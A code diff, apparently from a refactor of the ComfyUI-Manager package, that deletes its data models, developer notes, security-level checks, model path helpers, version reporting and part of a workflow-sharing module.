model_paths: Optional[Dict[str, List[str]]] = Field(
|
||||
None, description="Map of model types to their configured paths"
|
||||
)
|
||||
manager_version: Optional[str] = Field(None, description="ComfyUI Manager version")
|
||||
security_level: Optional[SecurityLevel] = None
|
||||
network_mode: Optional[str] = Field(
|
||||
None, description="Network mode (online, offline, private)"
|
||||
)
|
||||
cli_args: Optional[Dict[str, Any]] = Field(
|
||||
None, description="Selected ComfyUI CLI arguments"
|
||||
)
|
||||
custom_nodes_count: Optional[int] = Field(
|
||||
None, description="Total number of custom node packages", ge=0
|
||||
)
|
||||
failed_imports: Optional[List[str]] = Field(
|
||||
None, description="List of custom nodes that failed to import"
|
||||
)
|
||||
pip_packages: Optional[Dict[str, str]] = Field(
|
||||
None, description="Map of installed pip packages to their versions"
|
||||
)
|
||||
embedded_python: Optional[bool] = Field(
|
||||
None,
|
||||
description="Whether ComfyUI is running from an embedded Python distribution",
|
||||
)
|
||||
|
||||
|
||||
class BatchExecutionRecord(BaseModel):
|
||||
batch_id: str = Field(..., description="Unique batch identifier")
|
||||
start_time: datetime = Field(..., description="ISO timestamp when batch started")
|
||||
end_time: Optional[datetime] = Field(
|
||||
None, description="ISO timestamp when batch completed"
|
||||
)
|
||||
state_before: ComfyUISystemState
|
||||
state_after: Optional[ComfyUISystemState] = Field(
|
||||
None, description="System state after batch execution"
|
||||
)
|
||||
operations: Optional[List[BatchOperation]] = Field(
|
||||
None, description="List of operations performed in this batch"
|
||||
)
|
||||
total_operations: Optional[int] = Field(
|
||||
0, description="Total number of operations in batch", ge=0
|
||||
)
|
||||
successful_operations: Optional[int] = Field(
|
||||
0, description="Number of successful operations", ge=0
|
||||
)
|
||||
failed_operations: Optional[int] = Field(
|
||||
0, description="Number of failed operations", ge=0
|
||||
)
|
||||
skipped_operations: Optional[int] = Field(
|
||||
0, description="Number of skipped operations", ge=0
|
||||
)
|
||||
|
||||
|
||||
class ImportFailInfoBulkRequest(BaseModel):
|
||||
cnr_ids: Optional[List[str]] = Field(
|
||||
None, description="A list of CNR IDs to check."
|
||||
)
|
||||
urls: Optional[List[str]] = Field(
|
||||
None, description="A list of repository URLs to check."
|
||||
)
|
||||
|
||||
|
||||
class ImportFailInfoItem1(BaseModel):
|
||||
error: Optional[str] = None
|
||||
traceback: Optional[str] = None
|
||||
|
||||
|
||||
class ImportFailInfoItem(RootModel[Optional[ImportFailInfoItem1]]):
|
||||
root: Optional[ImportFailInfoItem1]
|
||||
|
||||
|
||||
class QueueTaskItem(BaseModel):
|
||||
ui_id: str = Field(..., description="Unique identifier for the task")
|
||||
client_id: str = Field(..., description="Client identifier that initiated the task")
|
||||
kind: OperationType
|
||||
params: Union[
|
||||
InstallPackParams,
|
||||
UpdatePackParams,
|
||||
UpdateAllPacksParams,
|
||||
UpdateComfyUIParams,
|
||||
FixPackParams,
|
||||
UninstallPackParams,
|
||||
DisablePackParams,
|
||||
EnablePackParams,
|
||||
ModelMetadata,
|
||||
]
|
||||
|
||||
|
||||
class TaskHistoryItem(BaseModel):
|
||||
ui_id: str = Field(..., description="Unique identifier for the task")
|
||||
client_id: str = Field(..., description="Client identifier that initiated the task")
|
||||
kind: str = Field(..., description="Type of task that was performed")
|
||||
timestamp: datetime = Field(..., description="ISO timestamp when task completed")
|
||||
result: str = Field(..., description="Task result message or details")
|
||||
status: Optional[TaskExecutionStatus] = None
|
||||
batch_id: Optional[str] = Field(
|
||||
None, description="ID of the batch this task belongs to"
|
||||
)
|
||||
end_time: Optional[datetime] = Field(
|
||||
None, description="ISO timestamp when task execution ended"
|
||||
)
|
||||
|
||||
|
||||
class TaskStateMessage(BaseModel):
|
||||
history: Dict[str, TaskHistoryItem] = Field(
|
||||
..., description="Map of task IDs to their history items"
|
||||
)
|
||||
running_queue: List[QueueTaskItem] = Field(
|
||||
..., description="Currently executing tasks"
|
||||
)
|
||||
pending_queue: List[QueueTaskItem] = Field(
|
||||
..., description="Tasks waiting to be executed"
|
||||
)
|
||||
installed_packs: Dict[str, ManagerPackInstalled] = Field(
|
||||
..., description="Map of currently installed node packages by name"
|
||||
)
|
||||
|
||||
|
||||
class MessageTaskDone(BaseModel):
|
||||
ui_id: str = Field(..., description="Task identifier")
|
||||
result: str = Field(..., description="Task result message")
|
||||
kind: str = Field(..., description="Type of task")
|
||||
status: Optional[TaskExecutionStatus] = None
|
||||
timestamp: datetime = Field(..., description="ISO timestamp when task completed")
|
||||
state: TaskStateMessage
|
||||
|
||||
|
||||
class MessageTaskStarted(BaseModel):
|
||||
ui_id: str = Field(..., description="Task identifier")
|
||||
kind: str = Field(..., description="Type of task")
|
||||
timestamp: datetime = Field(..., description="ISO timestamp when task started")
|
||||
state: TaskStateMessage
|
||||
|
||||
|
||||
class MessageTaskFailed(BaseModel):
|
||||
ui_id: str = Field(..., description="Task identifier")
|
||||
error: str = Field(..., description="Error message")
|
||||
kind: str = Field(..., description="Type of task")
|
||||
timestamp: datetime = Field(..., description="ISO timestamp when task failed")
|
||||
state: TaskStateMessage
|
||||
|
||||
|
||||
class MessageUpdate(
|
||||
RootModel[Union[MessageTaskDone, MessageTaskStarted, MessageTaskFailed]]
|
||||
):
|
||||
root: Union[MessageTaskDone, MessageTaskStarted, MessageTaskFailed] = Field(
|
||||
..., description="Union type for all possible WebSocket message updates"
|
||||
)
|
||||
|
||||
|
||||
class HistoryResponse(BaseModel):
|
||||
history: Optional[Dict[str, TaskHistoryItem]] = Field(
|
||||
None, description="Map of task IDs to their history items"
|
||||
)
|
||||
|
||||
|
||||
class ImportFailInfoBulkResponse(RootModel[Optional[Dict[str, ImportFailInfoItem]]]):
|
||||
root: Optional[Dict[str, ImportFailInfoItem]] = None
|
||||
@@ -1,11 +0,0 @@
|
||||
- Anytime you make a change to the data being sent or received, you should follow this process:
|
||||
1. Adjust the openapi.yaml file first
|
||||
2. Verify the syntax of the openapi.yaml file using `yaml.safe_load`
|
||||
3. Regenerate the types following the instructions in the `data_models/README.md` file
|
||||
4. Verify the new data model is generated
|
||||
5. Verify the syntax of the generated types files
|
||||
6. Run formatting and linting on the generated types files
|
||||
7. Adjust the `__init__.py` files in the `data_models` directory to match/export the new data model
|
||||
8. Only then, make the changes to the rest of the codebase
|
||||
9. Run the CI tests to verify that the changes are working
|
||||
- The comfyui_manager is a python package that is used to manage the comfyui server. There are two sub-packages `glob` and `legacy`. These represent the current version (`glob`) and the previous version (`legacy`), not including common utilities and data models. When developing, we work in the `glob` package. You can ignore the `legacy` package entirely, unless you have a very good reason to research how things were done in the legacy or prior major versions of the package. But in those cases, you should just look for the sake of knowledge or reflection, not for changing code (unless explicitly asked to do so).
|
||||
@@ -1,55 +0,0 @@
|
||||
|
||||
SECURITY_MESSAGE_MIDDLE = "ERROR: To use this action, a security_level of `normal or below` is required. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_MIDDLE_P = "ERROR: To use this action, security_level must be `normal or below`, and network_mode must be set to `personal_cloud`. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_NORMAL_MINUS = "ERROR: To use this feature, you must either set '--listen' to a local IP and set the security level to 'normal-' or lower, or set the security level to 'middle' or 'weak'. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_GENERAL = "ERROR: This installation is not allowed in this security_level. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_NORMAL_MINUS_MODEL = "ERROR: Downloading models that are not in '.safetensors' format is only allowed for models registered in the 'default' channel at this security level. If you want to download this model, set the security level to 'normal-' or lower."
|
||||
|
||||
|
||||
def is_loopback(address):
|
||||
import ipaddress
|
||||
|
||||
try:
|
||||
return ipaddress.ip_address(address).is_loopback
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
|
||||
model_dir_name_map = {
|
||||
"checkpoints": "checkpoints",
|
||||
"checkpoint": "checkpoints",
|
||||
"unclip": "checkpoints",
|
||||
"text_encoders": "text_encoders",
|
||||
"clip": "text_encoders",
|
||||
"vae": "vae",
|
||||
"lora": "loras",
|
||||
"t2i-adapter": "controlnet",
|
||||
"t2i-style": "controlnet",
|
||||
"controlnet": "controlnet",
|
||||
"clip_vision": "clip_vision",
|
||||
"gligen": "gligen",
|
||||
"upscale": "upscale_models",
|
||||
"embedding": "embeddings",
|
||||
"embeddings": "embeddings",
|
||||
"unet": "diffusion_models",
|
||||
"diffusion_model": "diffusion_models",
|
||||
}
|
||||
|
||||
# List of all model directory names used for checking installed models
|
||||
MODEL_DIR_NAMES = [
|
||||
"checkpoints",
|
||||
"loras",
|
||||
"vae",
|
||||
"text_encoders",
|
||||
"diffusion_models",
|
||||
"clip_vision",
|
||||
"embeddings",
|
||||
"diffusers",
|
||||
"vae_approx",
|
||||
"controlnet",
|
||||
"gligen",
|
||||
"upscale_models",
|
||||
"hypernetworks",
|
||||
"photomaker",
|
||||
"classifiers",
|
||||
]
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,126 +0,0 @@
|
||||
import os
|
||||
import git
|
||||
import logging
|
||||
import traceback
|
||||
|
||||
from comfyui_manager.common import context
|
||||
import folder_paths
|
||||
|
||||
from comfyui_manager.glob import manager_core as core
|
||||
from comfyui_manager.common import cm_global
|
||||
|
||||
|
||||
comfy_ui_hash = "-"
|
||||
comfyui_tag = None
|
||||
|
||||
|
||||
def print_comfyui_version():
|
||||
global comfy_ui_hash
|
||||
global comfyui_tag
|
||||
|
||||
is_detached = False
|
||||
try:
|
||||
repo = git.Repo(os.path.dirname(folder_paths.__file__))
|
||||
core.comfy_ui_revision = len(list(repo.iter_commits("HEAD")))
|
||||
|
||||
comfy_ui_hash = repo.head.commit.hexsha
|
||||
cm_global.variables["comfyui.revision"] = core.comfy_ui_revision
|
||||
|
||||
core.comfy_ui_commit_datetime = repo.head.commit.committed_datetime
|
||||
cm_global.variables["comfyui.commit_datetime"] = core.comfy_ui_commit_datetime
|
||||
|
||||
is_detached = repo.head.is_detached
|
||||
current_branch = repo.active_branch.name
|
||||
|
||||
comfyui_tag = context.get_comfyui_tag()
|
||||
|
||||
try:
|
||||
if (
|
||||
not os.environ.get("__COMFYUI_DESKTOP_VERSION__")
|
||||
and core.comfy_ui_commit_datetime.date()
|
||||
< core.comfy_ui_required_commit_datetime.date()
|
||||
):
|
||||
logging.warning(
|
||||
f"\n\n## [WARN] ComfyUI-Manager: Your ComfyUI version ({core.comfy_ui_revision})[{core.comfy_ui_commit_datetime.date()}] is too old. Please update to the latest version. ##\n\n"
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# process on_revision_detected -->
|
||||
if "cm.on_revision_detected_handler" in cm_global.variables:
|
||||
for k, f in cm_global.variables["cm.on_revision_detected_handler"]:
|
||||
try:
|
||||
f(core.comfy_ui_revision)
|
||||
except Exception:
|
||||
logging.error(f"[ERROR] '{k}' on_revision_detected_handler")
|
||||
traceback.print_exc()
|
||||
|
||||
del cm_global.variables["cm.on_revision_detected_handler"]
|
||||
else:
|
||||
logging.warning(
|
||||
"[ComfyUI-Manager] Some features are restricted due to your ComfyUI being outdated."
|
||||
)
|
||||
# <--
|
||||
|
||||
if current_branch == "master":
|
||||
if comfyui_tag:
|
||||
logging.info(
|
||||
f"### ComfyUI Version: {comfyui_tag} | Released on '{core.comfy_ui_commit_datetime.date()}'"
|
||||
)
|
||||
else:
|
||||
logging.info(
|
||||
f"### ComfyUI Revision: {core.comfy_ui_revision} [{comfy_ui_hash[:8]}] | Released on '{core.comfy_ui_commit_datetime.date()}'"
|
||||
)
|
||||
else:
|
||||
if comfyui_tag:
|
||||
logging.info(
|
||||
f"### ComfyUI Version: {comfyui_tag} on '{current_branch}' | Released on '{core.comfy_ui_commit_datetime.date()}'"
|
||||
)
|
||||
else:
|
||||
logging.info(
|
||||
f"### ComfyUI Revision: {core.comfy_ui_revision} on '{current_branch}' [{comfy_ui_hash[:8]}] | Released on '{core.comfy_ui_commit_datetime.date()}'"
|
||||
)
|
||||
except Exception:
|
||||
if is_detached:
|
||||
logging.info(
|
||||
f"### ComfyUI Revision: {core.comfy_ui_revision} [{comfy_ui_hash[:8]}] *DETACHED | Released on '{core.comfy_ui_commit_datetime.date()}'"
|
||||
)
|
||||
else:
|
||||
logging.info(
|
||||
"### ComfyUI Revision: UNKNOWN (The currently installed ComfyUI is not a Git repository)"
|
||||
)
|
||||
|
||||
|
||||
def set_update_policy(mode):
|
||||
core.get_config()["update_policy"] = mode
|
||||
|
||||
|
||||
def set_db_mode(mode):
|
||||
core.get_config()["db_mode"] = mode
|
||||
|
||||
|
||||
def setup_environment():
|
||||
git_exe = core.get_config()["git_exe"]
|
||||
|
||||
if git_exe != "":
|
||||
git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe)
|
||||
|
||||
|
||||
def initialize_environment():
|
||||
context.comfy_path = os.path.dirname(folder_paths.__file__)
|
||||
core.js_path = os.path.join(context.comfy_path, "web", "extensions")
|
||||
|
||||
# Legacy database paths - kept for potential future use
|
||||
# local_db_model = os.path.join(manager_util.comfyui_manager_path, "model-list.json")
|
||||
# local_db_alter = os.path.join(manager_util.comfyui_manager_path, "alter-list.json")
|
||||
# local_db_custom_node_list = os.path.join(
|
||||
# manager_util.comfyui_manager_path, "custom-node-list.json"
|
||||
# )
|
||||
# local_db_extension_node_mappings = os.path.join(
|
||||
# manager_util.comfyui_manager_path, "extension-node-map.json"
|
||||
# )
|
||||
|
||||
print_comfyui_version()
|
||||
setup_environment()
|
||||
|
||||
core.check_invalid_nodes()
|
||||
@@ -1,60 +0,0 @@
|
||||
import locale
|
||||
import sys
|
||||
import re
|
||||
|
||||
|
||||
def handle_stream(stream, prefix):
|
||||
stream.reconfigure(encoding=locale.getpreferredencoding(), errors="replace")
|
||||
for msg in stream:
|
||||
if (
|
||||
prefix == "[!]"
|
||||
and ("it/s]" in msg or "s/it]" in msg)
|
||||
and ("%|" in msg or "it [" in msg)
|
||||
):
|
||||
if msg.startswith("100%"):
|
||||
print("\r" + msg, end="", file=sys.stderr),
|
||||
else:
|
||||
print("\r" + msg[:-1], end="", file=sys.stderr),
|
||||
else:
|
||||
if prefix == "[!]":
|
||||
print(prefix, msg, end="", file=sys.stderr)
|
||||
else:
|
||||
print(prefix, msg, end="")
|
||||
|
||||
|
||||
def convert_markdown_to_html(input_text):
|
||||
pattern_a = re.compile(r"\[a/([^]]+)]\(([^)]+)\)")
|
||||
pattern_w = re.compile(r"\[w/([^]]+)]")
|
||||
pattern_i = re.compile(r"\[i/([^]]+)]")
|
||||
pattern_bold = re.compile(r"\*\*([^*]+)\*\*")
|
||||
pattern_white = re.compile(r"%%([^*]+)%%")
|
||||
|
||||
def replace_a(match):
|
||||
return f"<a href='{match.group(2)}' target='blank'>{match.group(1)}</a>"
|
||||
|
||||
def replace_w(match):
|
||||
return f"<p class='cm-warn-note'>{match.group(1)}</p>"
|
||||
|
||||
def replace_i(match):
|
||||
return f"<p class='cm-info-note'>{match.group(1)}</p>"
|
||||
|
||||
def replace_bold(match):
|
||||
return f"<B>{match.group(1)}</B>"
|
||||
|
||||
def replace_white(match):
|
||||
return f"<font color='white'>{match.group(1)}</font>"
|
||||
|
||||
input_text = (
|
||||
input_text.replace("\\[", "[")
|
||||
.replace("\\]", "]")
|
||||
.replace("<", "<")
|
||||
.replace(">", ">")
|
||||
)
|
||||
|
||||
result_text = re.sub(pattern_a, replace_a, input_text)
|
||||
result_text = re.sub(pattern_w, replace_w, result_text)
|
||||
result_text = re.sub(pattern_i, replace_i, result_text)
|
||||
result_text = re.sub(pattern_bold, replace_bold, result_text)
|
||||
result_text = re.sub(pattern_white, replace_white, result_text)
|
||||
|
||||
return result_text.replace("\n", "<BR>")
|
||||
@@ -1,161 +0,0 @@
|
||||
import os
|
||||
import logging
|
||||
import concurrent.futures
|
||||
import folder_paths
|
||||
|
||||
from comfyui_manager.glob import manager_core as core
|
||||
from comfyui_manager.glob.constants import model_dir_name_map, MODEL_DIR_NAMES
|
||||
|
||||
|
||||
def get_model_dir(data, show_log=False):
|
||||
if "download_model_base" in folder_paths.folder_names_and_paths:
|
||||
models_base = folder_paths.folder_names_and_paths["download_model_base"][0][0]
|
||||
else:
|
||||
models_base = folder_paths.models_dir
|
||||
|
||||
# NOTE: Validate to prevent path traversal.
|
||||
if any(char in data["filename"] for char in {"/", "\\", ":"}):
|
||||
return None
|
||||
|
||||
def resolve_custom_node(save_path):
|
||||
save_path = save_path[13:] # remove 'custom_nodes/'
|
||||
|
||||
# NOTE: Validate to prevent path traversal.
|
||||
if save_path.startswith(os.path.sep) or ":" in save_path:
|
||||
return None
|
||||
|
||||
repo_name = save_path.replace("\\", "/").split("/")[
|
||||
0
|
||||
] # get custom node repo name
|
||||
|
||||
# NOTE: The creation of files within the custom node path should be removed in the future.
|
||||
repo_path = core.lookup_installed_custom_nodes_legacy(repo_name)
|
||||
if repo_path is not None and repo_path[0]:
|
||||
# Returns the retargeted path based on the actually installed repository
|
||||
return os.path.join(os.path.dirname(repo_path[1]), save_path)
|
||||
else:
|
||||
return None
|
||||
|
||||
if data["save_path"] != "default":
|
||||
if ".." in data["save_path"] or data["save_path"].startswith("/"):
|
||||
if show_log:
|
||||
logging.info(
|
||||
f"[WARN] '{data['save_path']}' is not allowed path. So it will be saved into 'models/etc'."
|
||||
)
|
||||
base_model = os.path.join(models_base, "etc")
|
||||
else:
|
||||
if data["save_path"].startswith("custom_nodes"):
|
||||
base_model = resolve_custom_node(data["save_path"])
|
||||
if base_model is None:
|
||||
if show_log:
|
||||
logging.info(
|
||||
f"[ComfyUI-Manager] The target custom node for model download is not installed: {data['save_path']}"
|
||||
)
|
||||
return None
|
||||
else:
|
||||
base_model = os.path.join(models_base, data["save_path"])
|
||||
else:
|
||||
model_dir_name = model_dir_name_map.get(data["type"].lower())
|
||||
if model_dir_name is not None:
|
||||
base_model = folder_paths.folder_names_and_paths[model_dir_name][0][0]
|
||||
else:
|
||||
base_model = os.path.join(models_base, "etc")
|
||||
|
||||
return base_model
|
||||
|
||||
|
||||
def get_model_path(data, show_log=False):
|
||||
base_model = get_model_dir(data, show_log)
|
||||
if base_model is None:
|
||||
return None
|
||||
else:
|
||||
if data["filename"] == "<huggingface>":
|
||||
return os.path.join(base_model, os.path.basename(data["url"]))
|
||||
else:
|
||||
return os.path.join(base_model, data["filename"])
|
||||
|
||||
|
||||
def check_model_installed(json_obj):
|
||||
def is_exists(model_dir_name, filename, url):
|
||||
if filename == "<huggingface>":
|
||||
filename = os.path.basename(url)
|
||||
|
||||
dirs = folder_paths.get_folder_paths(model_dir_name)
|
||||
|
||||
for x in dirs:
|
||||
if os.path.exists(os.path.join(x, filename)):
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
total_models_files = set()
|
||||
for x in MODEL_DIR_NAMES:
|
||||
for y in folder_paths.get_filename_list(x):
|
||||
total_models_files.add(y)
|
||||
|
||||
def process_model_phase(item):
|
||||
if (
|
||||
"diffusion" not in item["filename"]
|
||||
and "pytorch" not in item["filename"]
|
||||
and "model" not in item["filename"]
|
||||
):
|
||||
# non-general name case
|
||||
if item["filename"] in total_models_files:
|
||||
item["installed"] = "True"
|
||||
return
|
||||
|
||||
if item["save_path"] == "default":
|
||||
model_dir_name = model_dir_name_map.get(item["type"].lower())
|
||||
if model_dir_name is not None:
|
||||
item["installed"] = str(
|
||||
is_exists(model_dir_name, item["filename"], item["url"])
|
||||
)
|
||||
else:
|
||||
item["installed"] = "False"
|
||||
else:
|
||||
model_dir_name = item["save_path"].split("/")[0]
|
||||
if model_dir_name in folder_paths.folder_names_and_paths:
|
||||
if is_exists(model_dir_name, item["filename"], item["url"]):
|
||||
item["installed"] = "True"
|
||||
|
||||
if "installed" not in item:
|
||||
if item["filename"] == "<huggingface>":
|
||||
filename = os.path.basename(item["url"])
|
||||
else:
|
||||
filename = item["filename"]
|
||||
|
||||
fullpath = os.path.join(
|
||||
folder_paths.models_dir, item["save_path"], filename
|
||||
)
|
||||
|
||||
item["installed"] = "True" if os.path.exists(fullpath) else "False"
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(8) as executor:
|
||||
for item in json_obj["models"]:
|
||||
executor.submit(process_model_phase, item)
|
||||
|
||||
|
||||
async def check_whitelist_for_model(item):
|
||||
from comfyui_manager.data_models import ManagerDatabaseSource
|
||||
|
||||
json_obj = await core.get_data_by_mode(ManagerDatabaseSource.cache.value, "model-list.json")
|
||||
|
||||
for x in json_obj.get("models", []):
|
||||
if (
|
||||
x["save_path"] == item["save_path"]
|
||||
and x["base"] == item["base"]
|
||||
and x["filename"] == item["filename"]
|
||||
):
|
||||
return True
|
||||
|
||||
json_obj = await core.get_data_by_mode(ManagerDatabaseSource.local.value, "model-list.json")
|
||||
|
||||
for x in json_obj.get("models", []):
|
||||
if (
|
||||
x["save_path"] == item["save_path"]
|
||||
and x["base"] == item["base"]
|
||||
and x["filename"] == item["filename"]
|
||||
):
|
||||
return True
|
||||
|
||||
return False
|
||||
@@ -1,65 +0,0 @@
|
||||
import concurrent.futures
|
||||
|
||||
from comfyui_manager.glob import manager_core as core
|
||||
|
||||
|
||||
def check_state_of_git_node_pack(
|
||||
node_packs, do_fetch=False, do_update_check=True, do_update=False
|
||||
):
|
||||
if do_fetch:
|
||||
print("Start fetching...", end="")
|
||||
elif do_update:
|
||||
print("Start updating...", end="")
|
||||
elif do_update_check:
|
||||
print("Start update check...", end="")
|
||||
|
||||
def process_custom_node(item):
|
||||
core.check_state_of_git_node_pack_single(
|
||||
item, do_fetch, do_update_check, do_update
|
||||
)
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(4) as executor:
|
||||
for k, v in node_packs.items():
|
||||
if v.get("active_version") in ["unknown", "nightly"]:
|
||||
executor.submit(process_custom_node, v)
|
||||
|
||||
if do_fetch:
|
||||
print("\x1b[2K\rFetching done.")
|
||||
elif do_update:
|
||||
update_exists = any(
|
||||
item.get("updatable", False) for item in node_packs.values()
|
||||
)
|
||||
if update_exists:
|
||||
print("\x1b[2K\rUpdate done.")
|
||||
else:
|
||||
print("\x1b[2K\rAll extensions are already up-to-date.")
|
||||
elif do_update_check:
|
||||
print("\x1b[2K\rUpdate check done.")
|
||||
|
||||
|
||||
def nickname_filter(json_obj):
|
||||
preemptions_map = {}
|
||||
|
||||
for k, x in json_obj.items():
|
||||
if "preemptions" in x[1]:
|
||||
for y in x[1]["preemptions"]:
|
||||
preemptions_map[y] = k
|
||||
elif k.endswith("/ComfyUI"):
|
||||
for y in x[0]:
|
||||
preemptions_map[y] = k
|
||||
|
||||
updates = {}
|
||||
for k, x in json_obj.items():
|
||||
removes = set()
|
||||
for y in x[0]:
|
||||
k2 = preemptions_map.get(y)
|
||||
if k2 is not None and k != k2:
|
||||
removes.add(y)
|
||||
|
||||
if len(removes) > 0:
|
||||
updates[k] = [y for y in x[0] if y not in removes]
|
||||
|
||||
for k, v in updates.items():
|
||||
json_obj[k][0] = v
|
||||
|
||||
return json_obj
|
||||
@@ -1,67 +0,0 @@
|
||||
from comfyui_manager.glob import manager_core as core
|
||||
from comfy.cli_args import args
|
||||
from comfyui_manager.data_models import SecurityLevel, RiskLevel, ManagerDatabaseSource
|
||||
from comfyui_manager.common.manager_security import (
|
||||
is_loopback,
|
||||
is_safe_path_target,
|
||||
get_safe_file_path,
|
||||
)
|
||||
|
||||
# Re-export for backward compatibility
|
||||
__all__ = ['is_loopback', 'is_safe_path_target', 'get_safe_file_path', 'is_allowed_security_level', 'get_risky_level']
|
||||
|
||||
|
||||
def is_allowed_security_level(level):
|
||||
is_local_mode = is_loopback(args.listen)
|
||||
is_personal_cloud = core.get_config()['network_mode'].lower() == 'personal_cloud'
|
||||
|
||||
if level == RiskLevel.block.value:
|
||||
return False
|
||||
elif level == RiskLevel.high_.value:
|
||||
if is_local_mode:
|
||||
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal_.value]
|
||||
elif is_personal_cloud:
|
||||
return core.get_config()['security_level'] == SecurityLevel.weak.value
|
||||
else:
|
||||
return False
|
||||
elif level == RiskLevel.high.value:
|
||||
if is_local_mode:
|
||||
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal_.value]
|
||||
else:
|
||||
return core.get_config()['security_level'] == SecurityLevel.weak.value
|
||||
elif level == RiskLevel.middle_.value:
|
||||
if is_local_mode or is_personal_cloud:
|
||||
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal.value, SecurityLevel.normal_.value]
|
||||
else:
|
||||
return False
|
||||
elif level == RiskLevel.middle.value:
|
||||
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal.value, SecurityLevel.normal_.value]
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
async def get_risky_level(files, pip_packages):
|
||||
json_data1 = await core.get_data_by_mode(ManagerDatabaseSource.local.value, "custom-node-list.json")
|
||||
json_data2 = await core.get_data_by_mode(
|
||||
ManagerDatabaseSource.cache.value,
|
||||
"custom-node-list.json",
|
||||
channel_url="https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main",
|
||||
)
|
||||
|
||||
all_urls = set()
|
||||
for x in json_data1["custom_nodes"] + json_data2["custom_nodes"]:
|
||||
all_urls.update(x.get("files", []))
|
||||
|
||||
for x in files:
|
||||
if x not in all_urls:
|
||||
return RiskLevel.high_.value
|
||||
|
||||
all_pip_packages = set()
|
||||
for x in json_data1["custom_nodes"] + json_data2["custom_nodes"]:
|
||||
all_pip_packages.update(x.get("pip", []))
|
||||
|
||||
for p in pip_packages:
|
||||
if p not in all_pip_packages:
|
||||
return RiskLevel.block.value
|
||||
|
||||
return RiskLevel.middle_.value
|
||||
@@ -1,451 +0,0 @@
|
||||
import mimetypes
|
||||
from ..common import context
|
||||
from . import manager_core as core
|
||||
|
||||
import os
|
||||
from aiohttp import web
|
||||
import aiohttp
|
||||
import json
|
||||
import hashlib
|
||||
|
||||
import folder_paths
|
||||
from server import PromptServer
|
||||
import logging
|
||||
import sys
|
||||
|
||||
|
||||
try:
|
||||
from nio import AsyncClient, LoginResponse, UploadResponse
|
||||
matrix_nio_is_available = True
|
||||
except Exception:
|
||||
logging.warning(f"[ComfyUI-Manager] The matrix sharing feature has been disabled because the `matrix-nio` dependency is not installed.\n\tTo use this feature, please run the following command:\n\t{sys.executable} -m pip install matrix-nio\n")
|
||||
matrix_nio_is_available = False
|
||||
|
||||
|
||||
def extract_model_file_names(json_data):
|
||||
"""Extract unique file names from the input JSON data."""
|
||||
file_names = set()
|
||||
model_filename_extensions = {'.safetensors', '.ckpt', '.pt', '.pth', '.bin'}
|
||||
|
||||
# Recursively search for file names in the JSON data
|
||||
def recursive_search(data):
|
||||
if isinstance(data, dict):
|
||||
for value in data.values():
|
||||
recursive_search(value)
|
||||
elif isinstance(data, list):
|
||||
for item in data:
|
||||
recursive_search(item)
|
||||
elif isinstance(data, str) and '.' in data:
|
||||
file_names.add(os.path.basename(data)) # file_names.add(data)
|
||||
|
||||
recursive_search(json_data)
|
||||
return [f for f in list(file_names) if os.path.splitext(f)[1] in model_filename_extensions]
|
||||
|
||||
|
||||
def find_file_paths(base_dir, file_names):
|
||||
"""Find the paths of the files in the base directory."""
|
||||
file_paths = {}
|
||||
|
||||
for root, dirs, files in os.walk(base_dir):
|
||||
# Exclude certain directories
|
||||
dirs[:] = [d for d in dirs if d not in ['.git']]
|
||||
|
||||
for file in files:
|
||||
if file in file_names:
|
||||
file_paths[file] = os.path.join(root, file)
|
||||
return file_paths
|
||||
|
||||
|
||||
def compute_sha256_checksum(filepath):
|
||||
"""Compute the SHA256 checksum of a file, in chunks"""
|
||||
sha256 = hashlib.sha256()
|
||||
with open(filepath, 'rb') as f:
|
||||
for chunk in iter(lambda: f.read(4096), b''):
|
||||
sha256.update(chunk)
|
||||
return sha256.hexdigest()
|
||||
|
||||
|
||||
@PromptServer.instance.routes.get("/v2/manager/share_option")
|
||||
async def share_option(request):
|
||||
if "value" in request.rel_url.query:
|
||||
core.get_config()['share_option'] = request.rel_url.query['value']
|
||||
core.write_config()
|
||||
else:
|
||||
return web.Response(text=core.get_config()['share_option'], status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
|
||||
def get_openart_auth():
|
||||
if not os.path.exists(os.path.join(context.manager_files_path, ".openart_key")):
|
||||
return None
|
||||
try:
|
||||
with open(os.path.join(context.manager_files_path, ".openart_key"), "r") as f:
|
||||
openart_key = f.read().strip()
|
||||
return openart_key if openart_key else None
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def get_matrix_auth():
|
||||
if not os.path.exists(os.path.join(context.manager_files_path, "matrix_auth")):
|
||||
return None
|
||||
try:
|
||||
with open(os.path.join(context.manager_files_path, "matrix_auth"), "r") as f:
|
||||
matrix_auth = f.read()
|
||||
homeserver, username, password = matrix_auth.strip().split("\n")
|
||||
if not homeserver or not username or not password:
|
||||
return None
|
||||
return {
|
||||
"homeserver": homeserver,
|
||||
"username": username,
|
||||
"password": password,
|
||||
}
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def get_comfyworkflows_auth():
|
||||
if not os.path.exists(os.path.join(context.manager_files_path, "comfyworkflows_sharekey")):
|
||||
return None
|
||||
try:
|
||||
with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "r") as f:
|
||||
share_key = f.read()
|
||||
if not share_key.strip():
|
||||
return None
|
||||
return share_key
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
def get_youml_settings():
|
